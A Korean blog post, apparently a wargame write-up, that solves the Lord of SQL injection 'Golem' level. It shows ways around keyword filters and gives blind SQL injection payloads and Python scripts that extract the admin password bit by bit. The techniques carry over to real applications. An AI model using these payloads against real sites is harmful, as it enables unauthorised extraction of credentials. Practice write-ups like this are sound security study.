Notice
Recent Posts
Recent Comments
Link
«   2024/09   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Tags
more
Archives
Today
Total
관리 메뉴

D1N0's hacking blog

Lord of SQL injection - Golem 본문

Web/Lord of SQL injection

Lord of SQL injection - Golem

D1N0 2020. 11. 12. 10:04

문제 풀이

문제를 보면 pw를 직접 비교하기 때문에 Blind SQL injection으로 pw를 알아내야 한다

그러나 or, and, substr(, =을 필터링하고 있다

or과 and는 전처럼 ||, &&로 우회 가능하고, =은 like로 우회 가능하다

참고로 like는 부분적으로 일치하는 부분이 있는지 확인할 때 사용하는 구문이지만 특정기호 없이 글자만 넣으면 =과 같은 역할을 한다

substr을 우회할 수 있는건 많이 있지만 여기서는 mid를 이용했다

STEP 0 - SQL injection 취약점 확인

pw=' || id like 'admin';%23

or -> || , = -> like로 하면 Hello admin이 뜬다

이를 이용해 pw를 구해보자

STEP 1 - pw 길이 구하기

pw=' || id like 'admin' %26%26 length(pw) like [길이 예측];%23

파이썬 코드로는 이렇게 쓸 수 있다

import requests

target = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

for i in range(100):
    pay = f"?pw=' || id like 'admin' %26%26 length(pw) like {i};%23"
    res = requests.get(target + pay, cookies=cookies)
    if "Hello admin" in res.text:
        print("length :", i)
        length = i
        break

pw 길이가 8임을 알 수 있다

STEP 2 - pw 구하기

pw=' || id like 'admin' %26%26 mid(lpad(conv(hex(mid(pw,[몇 번째 글자],1)),16,2),8,0),[이진수 자릿수],1) like 1;%23

전과 크게 다른 건 없다

mid함수는 substr와 사용이 유사하므로 전처럼 쓰면 된다

파이썬 코드는 다음과 같다

import requests

target = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookies = {"PHPSESSID": "본인의 세션 값"}

length = 8

pw = str()
for i in range(1, length + 1):
    print(f"{i}번째 글자를 구하고 있습니다")
    tmp = str()
    for j in range(1, 9):
        pay = f"?pw=' || id like 'admin' %26%26 mid(lpad(conv(hex(mid(pw,{i},1)),16,2),8,0),{j},1) like 1;%23"
        res = requests.get(target + pay, cookies=cookies)
        if "Hello admin" in res.text:
            tmp += '1'
        else:
            tmp += '0'
    pw += chr(int(tmp, 2))
print("pw :", pw)

코드가 잘 돌아가는지 보려고 print문 하나를 추가했는데 없어도 크게 중요하지 않다

STEP 3 - 인증하기

앞에서 구한 pw를 넣으면 클리어 된다

전체 코드

import requests

target = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

######get pw length#######

for i in range(100):
    pay = f"?pw=' || id like 'admin' %26%26 length(pw) like {i};%23"
    res = requests.get(target + pay, cookies=cookies)
    if "Hello admin" in res.text:
        print("length :", i)
        length = i
        break

#######get pw#######

pw = str()
for i in range(1, length + 1):
    print(f"{i}번째 글자를 구하고 있습니다")
    tmp = str()
    for j in range(1, 9):
        pay = f"?pw=' || id like 'admin' %26%26 mid(lpad(conv(hex(mid(pw,{i},1)),16,2),8,0),{j},1) like 1;%23"
        res = requests.get(target + pay, cookies=cookies)
        if "Hello admin" in res.text:
            tmp += '1'
        else:
            tmp += '0'
    pw += chr(int(tmp, 2))
print("pw :", pw)

'Web > Lord of SQL injection' 카테고리의 다른 글

Lord of SQL injection - Bugbear  (0) 2020.11.30
Lord of SQL injection - Darkknight  (0) 2020.11.14
Lord of SQL injection - Skeleton  (0) 2020.11.11
Lord of SQL injection - Vampire  (0) 2020.11.11
Lord of SQL injection - Troll  (0) 2020.11.11
Comments